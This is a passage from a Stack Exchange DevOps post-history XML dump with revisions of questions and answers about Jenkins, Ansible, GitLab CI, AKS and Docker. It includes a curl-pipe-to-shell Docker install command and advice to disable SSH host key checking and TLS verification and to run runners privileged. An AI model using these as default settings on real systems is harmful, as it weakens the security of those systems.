  <row Id="28152" PostHistoryTypeId="2" PostId="9458" RevisionGUID="9def686e-ff19-4d00-8b92-794bb8d10815" CreationDate="2019-10-16T19:03:58.093" UserId="17043" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/y7rUP.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hi Team,&#xD;&#xA;&#xD;&#xA;Please anyone look into this error trying to implement the deploy.yml file with ansible plugin which is installed in the jenkins.&#xD;&#xA;In ansible console i can able to implement the app successfully to the target machine but while same deploy.yml file using in jenkins getting error .&#xD;&#xA;&#xD;&#xA;Tried : 1. ssh connection from target and master machine able to connect&#xD;&#xA;2.Add the rsa key/finger print key to the target machine as well as in master controller .&#xD;&#xA;3.From terminal i can able to access target machine as well as can able to deploy any app to any VM but while switched to jenkins ansible plugin getting error. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28153" PostHistoryTypeId="1" PostId="9458" RevisionGUID="9def686e-ff19-4d00-8b92-794bb8d10815" CreationDate="2019-10-16T19:03:58.093" UserId="17043" Text="Jenkins with ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="28154" PostHistoryTypeId="3" PostId="9458" RevisionGUID="9def686e-ff19-4d00-8b92-794bb8d10815" CreationDate="2019-10-16T19:03:58.093" UserId="17043" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28158" PostHistoryTypeId="2" PostId="9460" RevisionGUID="f0a4ad3c-2a23-43a1-8375-0f4583d71d92" CreationDate="2019-10-17T02:35:57.093" UserId="644" Text="In the company that I work, the frontend application is very complex, so one of our layers of testing includes building/serving the application and testing with integrations mocked (The application isn't deployed anywhere on this step).&#xD;&#xA;&#xD;&#xA;Right now we are trying to migrate from Jenkins to Gitlab CI, but I have no clue how to do this. I have the build artifact (Some html/css/js) but I couln't find any information how to share the artifact with some Gitlab CI `service`.&#xD;&#xA;&#xD;&#xA;Basically what I want do achieve is Build -&gt; Serve the application that was built -&gt; Run some tests on it &#xD;&#xA;&#xD;&#xA;Is it possible to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28159" PostHistoryTypeId="1" PostId="9460" RevisionGUID="f0a4ad3c-2a23-43a1-8375-0f4583d71d92" CreationDate="2019-10-17T02:35:57.093" UserId="644" Text="Serve an application built by the pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="28160" PostHistoryTypeId="3" PostId="9460" RevisionGUID="f0a4ad3c-2a23-43a1-8375-0f4583d71d92" CreationDate="2019-10-17T02:35:57.093" UserId="644" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28161" PostHistoryTypeId="5" PostId="9458" RevisionGUID="06068295-0373-4b66-aa6c-70bf4dc9b220" CreationDate="2019-10-17T05:06:06.560" UserId="40" Comment="fix formatting, remove noise" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/y7rUP.png&#xD;&#xA;&#xD;&#xA;Please look into this error trying to implement the deploy.yml file with ansible plugin which is installed in the jenkins.&#xD;&#xA;&#xD;&#xA;In ansible console I can implement the app successfully to the target machine but while same deploy.yml file using in jenkins getting error .&#xD;&#xA;&#xD;&#xA;Tried :&#xD;&#xA;&#xD;&#xA;1. ssh connection from target and master machine able to connect&#xD;&#xA;2. Add the rsa key/finger print key to the target machine as well as in master controller .&#xD;&#xA;3. From terminal i can able to access target machine as well as can able to deploy any app to any VM but while switched to jenkins ansible plugin getting error. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28162" PostHistoryTypeId="2" PostId="9461" RevisionGUID="1ff0b8c6-5742-43c7-9b64-adfb3ecf265c" CreationDate="2019-10-17T10:11:44.970" UserId="17661" Text="Simple one.&#xD;&#xA;You should either add `ansible_ssh_extra_args=&quot;-o StrictHostKeyChecking=no&quot;` to inventory or `disableHostKeyChecking: true` into Jenkins pipeline script (inside ansiblePlaybook block)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28163" PostHistoryTypeId="6" PostId="9454" RevisionGUID="df1558d4-5fac-48e6-9ce5-5a46964668c3" CreationDate="2019-10-17T10:15:07.737" UserId="397" Comment="edited tags, removed comment about missing tag; edited tags" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28164" PostHistoryTypeId="5" PostId="9454" RevisionGUID="df1558d4-5fac-48e6-9ce5-5a46964668c3" CreationDate="2019-10-17T10:15:07.737" UserId="397" Comment="edited tags, removed comment about missing tag; edited tags" Text="We had a fun issue yesterday and today where after a restart of some nodes, we ended up with more or less every pod on one server.  After some research, it seems like most of the solutions for this issue are either manual or rely on something outside AKS to handle it.  &#xD;&#xA;&#xD;&#xA;Is there a way within AKS to handle the following:  &#xD;&#xA;  &#xD;&#xA;1. Balance pods across nodes regularly  &#xD;&#xA;2. Ensure that multiple pods of the same service are not on the same node where possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="28165" PostHistoryTypeId="5" PostId="9461" RevisionGUID="a489ad72-8cfe-4a3d-a3de-9630154fbb25" CreationDate="2019-10-17T10:16:49.540" UserId="17661" Comment="add example" Text="Simple one.&#xD;&#xA;You should either add `ansible_ssh_extra_args=&quot;-o StrictHostKeyChecking=no&quot;` to inventory or `disableHostKeyChecking: true` into Jenkins pipeline script (inside ansiblePlaybook block).&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;```&#xD;&#xA;ansiblePlaybook(&#xD;&#xA;  colorized: true,&#xD;&#xA;  installation: 'ansible27'&#xD;&#xA;  inventory: '[hostsfile]'&#xD;&#xA;  playbook: '[playbook]'&#xD;&#xA;  disableHostKeyChecking: true&#xD;&#xA;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28166" PostHistoryTypeId="6" PostId="6499" RevisionGUID="e936ec76-eacf-4d2d-a0ad-44f2ae5bbff8" CreationDate="2019-10-17T10:21:27.103" UserId="397" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28167" PostHistoryTypeId="2" PostId="9462" RevisionGUID="a45dd817-4648-441f-8c7e-da4503a22be5" CreationDate="2019-10-17T10:22:04.650" UserId="17661" Text="If I understood you correctly, you need `free strategy`.&#xD;&#xA;It will run all tasks ASAP, not waiting for anything.&#xD;&#xA;https://docs.ansible.com/ansible/latest/plugins/strategy/free.html&#xD;&#xA;&#xD;&#xA;Bear in mind, that logs will be a mess :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28168" PostHistoryTypeId="6" PostId="5265" RevisionGUID="62e74caf-fadb-4109-a562-2ec9effe12e3" CreationDate="2019-10-17T10:23:40.333" UserId="397" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28169" PostHistoryTypeId="2" PostId="9463" RevisionGUID="ebf092db-db20-4682-97af-766183d0b5ad" CreationDate="2019-10-17T10:27:35.853" UserId="397" Comment="Added Wiki" Text="[Azure Kubernetes Service][1] is Microsoft Azure's fully-managed Kubernetes service.  Originally developed as part of the [now end-of-life][2], Azure Container Services as an option along-side Mesosphere and Docker Swarm, then spun out separately once Kubernetes achieved market dominance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/services/kubernetes-service/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-gb/updates/azure-container-service-will-retire-on-january-31-2020/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28170" PostHistoryTypeId="1" PostId="9463" RevisionGUID="ebf092db-db20-4682-97af-766183d0b5ad" CreationDate="2019-10-17T10:27:35.853" UserId="397" Comment="Added Wiki" ContentLicense="CC BY-SA 4.0" />
  <row Id="28171" PostHistoryTypeId="2" PostId="9464" RevisionGUID="c1cea833-23fe-461f-8386-b7d4778f2a99" CreationDate="2019-10-17T10:27:35.853" UserId="397" Comment="Added Wiki" Text="Azure Kubernetes Service is Microsoft Azure's fully-managed Kubernetes service in the public cloud." ContentLicense="CC BY-SA 4.0" />
  <row Id="28172" PostHistoryTypeId="1" PostId="9464" RevisionGUID="c1cea833-23fe-461f-8386-b7d4778f2a99" CreationDate="2019-10-17T10:27:35.853" UserId="397" Comment="Added Wiki" ContentLicense="CC BY-SA 4.0" />
  <row Id="28175" PostHistoryTypeId="5" PostId="2357" RevisionGUID="34526d12-678d-4140-afb2-d62999bada0f" CreationDate="2019-10-17T10:35:10.493" UserId="397" Comment="New Tag Wiki" Text="Virtualisation is a form of machine abstraction that creates a simulated, or virtualised, instance of a machine using physical hardware.  It provides a very high degree of isolation between multiple machines on the same host.&#xD;&#xA;&#xD;&#xA;By creating multiple machines on a single host, the density of applications or processes executing on a single host is increased, which increases the utilisation of the physical hardware.&#xD;&#xA;&#xD;&#xA;Origins of Virtualisation can be traced back to the 1960s where mainframe computers were logically divided between different applications.  VMWare popularised Virtualisation in 2009 with their VSphere and VMWare Workstation products." ContentLicense="CC BY-SA 4.0" />
  <row Id="28176" PostHistoryTypeId="5" PostId="2358" RevisionGUID="d424a457-08c2-46ad-9adc-df07690672ae" CreationDate="2019-10-17T10:35:10.493" UserId="397" Comment="New Tag Wiki" Text="Virtualisation is a form of machine abstraction that creates a simulated, or virtualised, instance of a machine using physical hardware.  It provides a very high degree of isolation between multiple machines on the same host." ContentLicense="CC BY-SA 4.0" />
  <row Id="28177" PostHistoryTypeId="2" PostId="9465" RevisionGUID="74945ccd-816d-41b6-affd-ba2ff15fcf94" CreationDate="2019-10-17T10:52:49.183" UserId="397" Text="There are two approaches to this, neither of them, in my opinion, are especially good as they don't strictly &quot;NOT Fail&quot; the build:&#xD;&#xA;&#xD;&#xA;1. Use a plugin such as [Naginator][1] which can be configured to restart the build until it passes.  This can be quite frustrating as you need to differentiate between ephemeral/preemptable virtual machines being terminated and a truly failed build.&#xD;&#xA;&#xD;&#xA;2. Move to an [orchestrator model][2] that manages individual jobs and restarts them based upon a set of rules.&#xD;&#xA;&#xD;&#xA;Perhaps a better solution would be to develop a Jenkins Plugin similar to the [EC2 Fleet Plugin][3] which is responsible for spinning up and maintaining Spot Instances (i.e. similar to GCEs Preemptable Instances) resubmitting jobs when they fail due to instance reclamation.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Naginator+Plugin&#xD;&#xA;  [2]: https://cloudify.co/2015/04/09/jenkins-ci-server-automation-cloud-cd-continuous-integration-delivery.html&#xD;&#xA;  [3]: https://github.com/jenkinsci/ec2-fleet-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="28178" PostHistoryTypeId="5" PostId="9446" RevisionGUID="37037d47-e8e0-40d3-8fdc-32e05edfe164" CreationDate="2019-10-17T10:57:30.357" UserId="17458" Comment="typo fix" Text="I might have skipped the optional installation of docker in my Ubuntu instance, so if the gitlab runner is going to use Docker, remember to install it:&#xD;&#xA;&#xD;&#xA;    curl -sSL https://get.docker.com/ | sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I got back to this issue and seem to have partially fixed it by checking it the gitlab runner is running&#xD;&#xA;&#xD;&#xA;    gitlab-runner status&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled gitlab-runner&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled docker&#xD;&#xA;&#xD;&#xA;I do have a different issue to solve, but it doesn't seem to be related. That is:&#xD;&#xA;&#xD;&#xA;    error during connect: Post http://docker:2375/v1.40/images/ [...] dial tcp: lookup docker on xx.xxx.xx.x:xx: no such host&#xD;&#xA;&#xD;&#xA;Then I found the solution, there's a problem in Gitlab CI that is reported here ( https://gitlab.com/gitlab-org/gitlab-runner/issues/4566#note_199261985 ); And there are a lot of ways to fix this but my solution follows:&#xD;&#xA;&#xD;&#xA;1) Set the `.gitlab-ci.yml` services to use an older dind version:&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      - docker:18.09.7-dind&#xD;&#xA;&#xD;&#xA;2) Check the toml file `/etc/gitlab-runner/config.toml`, set the DOCKER_HOST just in case, to point to the right place, make sure it runs in `privileged` mode. My working version is:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [session_server]&#xD;&#xA;      session_timeout = 1800&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;xxxxxx xxxxxxxx&quot;&#xD;&#xA;      url = &quot;https://gitlab.com/&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      pre_build_script = &quot;export DOCKER_HOST=tcp://docker:2375&quot;&#xD;&#xA;      [runners.custom_build_dir]&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_cert_path = &quot;&quot;&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;alpine:latest&quot;&#xD;&#xA;        privileged = true&#xD;&#xA;        disable_entrypoint_overwrite = false&#xD;&#xA;        oom_kill_disable = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;        [runners.cache.s3]&#xD;&#xA;        [runners.cache.gcs]&#xD;&#xA;&#xD;&#xA;Hope this helps someone else in the future!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28179" PostHistoryTypeId="5" PostId="9443" RevisionGUID="a81e8506-ff8f-4fc4-b113-73fb025af3b9" CreationDate="2019-10-17T11:37:19.430" UserId="15792" Comment="Added clarifications from comment to answer" Text="**The Git Server**&#xD;&#xA;&#xD;&#xA;It's best practice to setup a Git server for the team to access.  This way you have a central server that can be maintained, backed up, and focus on serving the source code.&#xD;&#xA;&#xD;&#xA;While you could create your own, there are also several popular commercial options available that often have free private repositories (non-exhaustive list):&#xD;&#xA;&#xD;&#xA; - [Bitbucket][1]&#xD;&#xA; - [GitHub][2]&#xD;&#xA; - [AWS CodeCommit][3]&#xD;&#xA;&#xD;&#xA;The Git server will just be a repository for your code.  It will allow for workflows like [Pull Requests][4] to better manage the changing code base.  However, the Git Server will not build your code or deploy it anywhere.&#xD;&#xA;&#xD;&#xA;**Jenkins**&#xD;&#xA;&#xD;&#xA;[Jenkins][5] will not actually store your source code.  Instead it is a tool used for [Continuous-Integration][6] (CI) and [Continuous Deployment][7] (CD), a big part of DevOps culture.  The basic idea is that the Jenkins server will take the source code put into your Git server, ensure it compiles, automated tests pass, and possibly even deploy to your test environment.  Tools like Jenkins work with multiple programming languages.  &#xD;&#xA;&#xD;&#xA;[Maven][8] is a tool is specific to building Java projects.  Tools like Jenkins often have options to use Maven to build the project.&#xD;&#xA;&#xD;&#xA;Setting up a CI/CD tool like Jenkins would be a great next step after you have a consistent place for everyone to store their code.&#xD;&#xA;&#xD;&#xA;**Best Solution**&#xD;&#xA;&#xD;&#xA;[Gitlab][9], [Bitbucket Pipelines][10], [Azure DevOps][11] are just three examples of tools that both house Git repositories and can do CI/CD. There are many options available for Git and CI/CD, and you can even combine them if you choose not to select an all-in-one solution.  Which tools are best is opinion based, and the best practice is to use a tool that helps manage your Git repositories and a tool for CI/CD.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/product/&#xD;&#xA;  [2]: https://github.com&#xD;&#xA;  [3]: https://aws.amazon.com/codecommit/&#xD;&#xA;  [4]: https://www.atlassian.com/git/tutorials/making-a-pull-request&#xD;&#xA;  [5]: https://jenkins.io&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [8]: https://maven.apache.org/what-is-maven.html&#xD;&#xA;  [9]: https://about.gitlab.com/&#xD;&#xA;  [10]: https://bitbucket.org/product/features/pipelines&#xD;&#xA;  [11]: https://azure.microsoft.com/en-us/services/devops/?nav=min" ContentLicense="CC BY-SA 4.0" />
  <row Id="28180" PostHistoryTypeId="2" PostId="9466" RevisionGUID="593019e5-307e-4370-bdcc-29dfa31c2f22" CreationDate="2019-10-17T11:46:41.237" UserId="17664" Text="# About&#xD;&#xA;&#xD;&#xA;I am developing a piece of software which consists of a Node.js application which controls a virtual machine that runs Android-x86. Also there are some pieces of the Android SDK like ADB the software depends on.&#xD;&#xA;&#xD;&#xA;# My current approach&#xD;&#xA;&#xD;&#xA;Currently there is no smart way of deployment whatsoever at all. Everything has to be installed manually. Depending on the system I also get issues regarding networking and so on from time to time.&#xD;&#xA;&#xD;&#xA;To solve problems of these kinds I usually would use Docker. Therefore that was my first thought here as well. So such a Docker container would simply run the Node.js application as well as the virtual machine.&#xD;&#xA;&#xD;&#xA;# My problem&#xD;&#xA;&#xD;&#xA;For me it became a bit confusing (and maybe even pointless) when I wanted to use a virtual machine inside of a Docker container. Due to there is obviously no way I can run an Android-x86 Docker container I cannot come up with any other solution than a virtual machine inside of Docker.&#xD;&#xA;&#xD;&#xA;# My question&#xD;&#xA;&#xD;&#xA;Is it fine to do as I mentioned or are there any better ways or even best practices to use a virtual machine inside of a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28181" PostHistoryTypeId="1" PostId="9466" RevisionGUID="593019e5-307e-4370-bdcc-29dfa31c2f22" CreationDate="2019-10-17T11:46:41.237" UserId="17664" Text="Deploying software that depends on a virtual machine using Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="28182" PostHistoryTypeId="3" PostId="9466" RevisionGUID="593019e5-307e-4370-bdcc-29dfa31c2f22" CreationDate="2019-10-17T11:46:41.237" UserId="17664" Text="&lt;docker&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28183" PostHistoryTypeId="2" PostId="9467" RevisionGUID="b142f919-bea3-47c4-9460-96ebfc2a16f0" CreationDate="2019-10-17T12:16:22.580" UserId="17622" Text="I want to trigger Jenkins Job when anyone pushes the code in Azure DevOps Repository. How can I set up this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28184" PostHistoryTypeId="1" PostId="9467" RevisionGUID="b142f919-bea3-47c4-9460-96ebfc2a16f0" CreationDate="2019-10-17T12:16:22.580" UserId="17622" Text="Trigger Jenkins Job from Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="28185" PostHistoryTypeId="3" PostId="9467" RevisionGUID="b142f919-bea3-47c4-9460-96ebfc2a16f0" CreationDate="2019-10-17T12:16:22.580" UserId="17622" Text="&lt;jenkins&gt;&lt;azure-devops&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28186" PostHistoryTypeId="5" PostId="9467" RevisionGUID="c9549091-133c-4de1-b5fa-697ca20fd2f6" CreationDate="2019-10-17T12:37:15.133" UserId="15792" Comment="Added additional information from comments." Text="I want to trigger Jenkins Job when anyone pushes the code in Azure DevOps Repository. However, when I set up Jenkins Service Connection in Azure DevOps I am getting the following error: &#xD;&#xA;&#xD;&#xA;&gt; Failed to query service connection API: 'JenkinsURL'. Error Message:&#xD;&#xA;&gt; 'A task was canceled.'" ContentLicense="CC BY-SA 4.0" />
  <row Id="28187" PostHistoryTypeId="24" PostId="9467" RevisionGUID="c9549091-133c-4de1-b5fa-697ca20fd2f6" CreationDate="2019-10-17T12:37:15.133" Comment="Proposed by 15792 approved by 17622 edit id of 1096" ContentLicense="CC BY-SA 4.0" />
  <row Id="28188" PostHistoryTypeId="5" PostId="9467" RevisionGUID="6ce8e49b-9cf5-4866-bb09-a73f4b6d5a6f" CreationDate="2019-10-17T12:40:19.697" UserId="15792" Comment="Added troubleshooting step from the comments." Text="I want to trigger Jenkins Job when anyone pushes the code in Azure DevOps Repository. However, when I set up Jenkins Service Connection in Azure DevOps I am getting the following error: &#xD;&#xA;&#xD;&#xA;&gt; Failed to query service connection API: 'JenkinsURL'. Error Message:&#xD;&#xA;&gt; 'A task was canceled.'&#xD;&#xA;&#xD;&#xA;I have tried enabling port 8080 in the VM to resolve this." ContentLicense="CC BY-SA 4.0" />
  <row Id="28189" PostHistoryTypeId="24" PostId="9467" RevisionGUID="6ce8e49b-9cf5-4866-bb09-a73f4b6d5a6f" CreationDate="2019-10-17T12:40:19.697" Comment="Proposed by 15792 approved by 17622 edit id of 1097" ContentLicense="CC BY-SA 4.0" />
  <row Id="28190" PostHistoryTypeId="2" PostId="9468" RevisionGUID="b3599925-38c0-44f5-bfeb-b9fd9ffb4674" CreationDate="2019-10-17T12:49:11.253" UserId="15792" Text="The error message you have provided indicates that this is a problem with the configuration that could be permission related.  Here are some steps to help resolve this issue:&#xD;&#xA;&#xD;&#xA; - You can [follow guides][1] where other people have configured the two.  Pay special attention to the permission settings that are selected.&#xD;&#xA; - Double check your permissions on the servers.  While you may have configured Jenkins to communicate with Azure DevOps, you still need to make configuration changes in DevOps.&#xD;&#xA; - Double/Triple check your URLs on both systems.  I've been burned by dropping an **s** on http or missing a character on a copy paste.&#xD;&#xA; - If you are setting this up within Azure check the [Azure Role Based Access Control][2] to make sure proper permissions exist.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@bbenz/azure-devops-and-jenkins-in-perfect-harmony-8c92ff980723&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/role-based-access-control/overview" ContentLicense="CC BY-SA 4.0" />
  <row Id="28192" PostHistoryTypeId="2" PostId="9469" RevisionGUID="bd272d4d-c9b5-4a6d-abf2-0d7dea7aab1a" CreationDate="2019-10-17T14:01:07.567" UserId="6603" Text="Frankly, I've never seen running a VM inside Docker. I believe it would be very slow. Have you checked if https://github.com/budtmo/docker-android is useful?&#xD;&#xA;&#xD;&#xA;This Video talks about the Docker and Android SDK as well - https://www.youtube.com/watch?v=YwBAqMDYFCU" ContentLicense="CC BY-SA 4.0" />
  <row Id="28193" PostHistoryTypeId="2" PostId="9470" RevisionGUID="6d2b62be-654f-4339-9b6b-b83e955f5f32" CreationDate="2019-10-17T14:05:14.053" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="28194" PostHistoryTypeId="1" PostId="9470" RevisionGUID="6d2b62be-654f-4339-9b6b-b83e955f5f32" CreationDate="2019-10-17T14:05:14.053" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28195" PostHistoryTypeId="2" PostId="9471" RevisionGUID="6fd81123-eec1-4292-87ef-d6851855060e" CreationDate="2019-10-17T14:05:14.053" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="28196" PostHistoryTypeId="1" PostId="9471" RevisionGUID="6fd81123-eec1-4292-87ef-d6851855060e" CreationDate="2019-10-17T14:05:14.053" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28197" PostHistoryTypeId="5" PostId="9466" RevisionGUID="b127b672-f853-456c-8943-a186a52f18fb" CreationDate="2019-10-17T14:12:11.820" UserId="17664" Comment="added 274 characters in body" Text="# About&#xD;&#xA;&#xD;&#xA;I am developing a piece of software which consists of a Node.js application which controls a virtual machine that runs Android-x86. Also there are some pieces of the Android SDK like ADB the software depends on.&#xD;&#xA;&#xD;&#xA;# My current approach&#xD;&#xA;&#xD;&#xA;Currently there is no smart way of deployment whatsoever at all. Everything has to be installed manually. Depending on the system I also get issues regarding networking and so on from time to time.&#xD;&#xA;&#xD;&#xA;To solve problems of these kinds I usually would use Docker. Therefore that was my first thought here as well. So such a Docker container would simply run the Node.js application as well as the virtual machine.&#xD;&#xA;&#xD;&#xA;# My problem&#xD;&#xA;&#xD;&#xA;For me it became a bit confusing (and maybe even pointless) when I wanted to use a virtual machine inside of a Docker container. Due to there is obviously no way I can run an Android-x86 Docker container I cannot come up with any other solution than a virtual machine inside of Docker.&#xD;&#xA;&#xD;&#xA;# My question&#xD;&#xA;&#xD;&#xA;Is it fine to do as I mentioned or are there any better ways or even best practices to use a virtual machine inside of a container?&#xD;&#xA;&#xD;&#xA;# Edits&#xD;&#xA;&#xD;&#xA; - I want to add that a possible solution does not have to be utilizing Docker. If there is any other technology that is able to create a container-ish construct which in further consequence is able to run a virtuel machine I would be happy to get to know it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28198" PostHistoryTypeId="2" PostId="9472" RevisionGUID="4228559a-1da3-43e1-8d5e-626149bae632" CreationDate="2019-10-17T14:15:58.027" UserId="397" Text="I am operating in both DevOps and Site Reliability Engineering organisations across several companies.  I would say that SRE has the advantage of being far more concrete than DevOps.&#xD;&#xA;&#xD;&#xA; - **DevOps** emphasises principles and mindsets, for example, the three ways of DevOps: Systems Thinking, Amplification of Feedback Loops and a Culture of Continuous Experimentation and Learning.  DevOps more of an extension to Agile that a different operating model.&#xD;&#xA;&#xD;&#xA; - **Site Reliability Engineering** emphasises the specific approaches, metrics and measures that Google (and others) apply to achieve a high level of service availability and confidence in the customer.  f.ex: The ratio of toil to improvements, quantitative risk analysis and mathematical approaches to SLIs and SLOs.&#xD;&#xA;&#xD;&#xA;Because [SRE Implements DevOps][1] it's a little unfair to try and compare organisations who do one but don't do the other, so I would actually suggest that all of the content in [Accelerate][2] can just as easily be applied to Site Reliability Engineering, thus if you need peer-reviewed data-driven analytics to start there. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=uTEL8Ff1Zvk&#xD;&#xA;  [2]: https://www.amazon.co.uk/dp/B07B9F83WM" ContentLicense="CC BY-SA 4.0" />
  <row Id="28199" PostHistoryTypeId="5" PostId="102" RevisionGUID="0c744df0-9866-4edc-92be-1ed5e030fc09" CreationDate="2019-10-17T14:18:59.083" UserId="519" Comment="update about InSpec having commercial / open source license" Text="The two tools I've seen for this are [InSpec][1] and [ServerSpec][2].  Serverspec is a Ruby-based tool that builds on [RSpec][3].  InSpec is inspired by RSpec and ServerSpec.&#xD;&#xA;&#xD;&#xA;I've used ServerSpec. It's cool, but maybe not 100% stable. I've had problems with testing for specific versions of software on Ubuntu.&#xD;&#xA;&#xD;&#xA;I've read the InSpec docs but haven't dug in deep.  It does essentially the same thing as Serverspec.  &#xD;&#xA;&#xD;&#xA;Judging by the Github commits, it looks like work on ServerSpec has tailed off somewhat, whereas InSpec is just getting ramped up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.chef.io/inspec/&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;  [3]: http://rspec.info/&#xD;&#xA;&#xD;&#xA;**UPDATE:** InSpec 4.x or above uses a mixed commercial / open source license - see comments." ContentLicense="CC BY-SA 4.0" />
  <row Id="28200" PostHistoryTypeId="24" PostId="102" RevisionGUID="0c744df0-9866-4edc-92be-1ed5e030fc09" CreationDate="2019-10-17T14:18:59.083" Comment="Proposed by 519 approved by 397, 707 edit id of 1094" ContentLicense="CC BY-SA 4.0" />
  <row Id="28201" PostHistoryTypeId="5" PostId="706" RevisionGUID="975c5f47-6e94-4578-95e4-3cd4fff2c127" CreationDate="2019-10-17T14:19:06.473" UserId="519" Comment="update about InSpec having commercial / open source license" Text="Some options out there..&#xD;&#xA;&#xD;&#xA;**Testing tools:** Sorted by github stars&#xD;&#xA;&#xD;&#xA;* [Serverspec][2] - Ruby, most popular tool out there, built on ruby's rspec&#xD;&#xA;* [Goss][1] - YAML, simple, &lt;10MB self-contained binary, extremely fast, can generate tests from system state&#xD;&#xA;* [Inspec](https://github.com/chef/inspec) - Ruby, think of it as an improved serverspec, almost same syntax, made by the chef guys. Built to be easier to extend than serverspec&#xD;&#xA;* [Testinfra](https://github.com/philpep/testinfra) - Python, has the cool feature of being able to use Ansible's inventory/vars&#xD;&#xA;&#xD;&#xA;**Major differences between them:**&#xD;&#xA;&#xD;&#xA;Ultimately, I would suggest spending a day experimenting with all of them to get a feel for them before deciding for yourself.&#xD;&#xA;&#xD;&#xA;* With the exception of Goss, all the frameworks can run against a remote machine (ex. over ssh). Goss only runs locally or in docker w/ dgoss.&#xD;&#xA;* All frameworks can be run locally on a server, but require Python or Ruby to be installed or embedded. Inspec provides a self-contained &lt;150MB bundle with an embedded version of ruby. Goss is a single &lt;10MB binary with no external dependencies.&#xD;&#xA;* Goss has built in support for nagios/sensu output, this allows for easier integration with monitoring tools.&#xD;&#xA;* Goss tests tend to be simpler, but less flexible since it's based on YAML. Other frameworks allow you to leverage the full power of the underlying language Python/Ruby to write tests or extend the tool's functionality. (simplicity vs flexibility)&#xD;&#xA;* Goss allows you to generate tests from current system state&#xD;&#xA;* Testinfra to my knowledge is the only one that has built-in support for ansible inventory and variables&#xD;&#xA;* Inspec is backed by Chef&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Continuous/divergence testing:**&#xD;&#xA;&#xD;&#xA;* [Chef Compliance](https://docs.chef.io/compliance.html) - works with inspec to continuously test your servers, paid product&#xD;&#xA;* [Goss](https://github.com/aelsabbahy/goss) - Can be easily hooked into Nagios or Sensu. Also, supports exposing server tests as an http endpoint.&#xD;&#xA;&#xD;&#xA;**Testing harnesses for development:**&#xD;&#xA;&#xD;&#xA;* [kitchen](http://kitchen.ci/) - Testing harness tool, launches instance, runs config management code, runs test suite. Made by the chef guys&#xD;&#xA;* [Molecule](https://molecule.readthedocs.io) - Similar to test kitchen, but written specifically for ansible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aelsabbahy/goss&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;&#xD;&#xA;***Full Disclosure:** I'm the author of 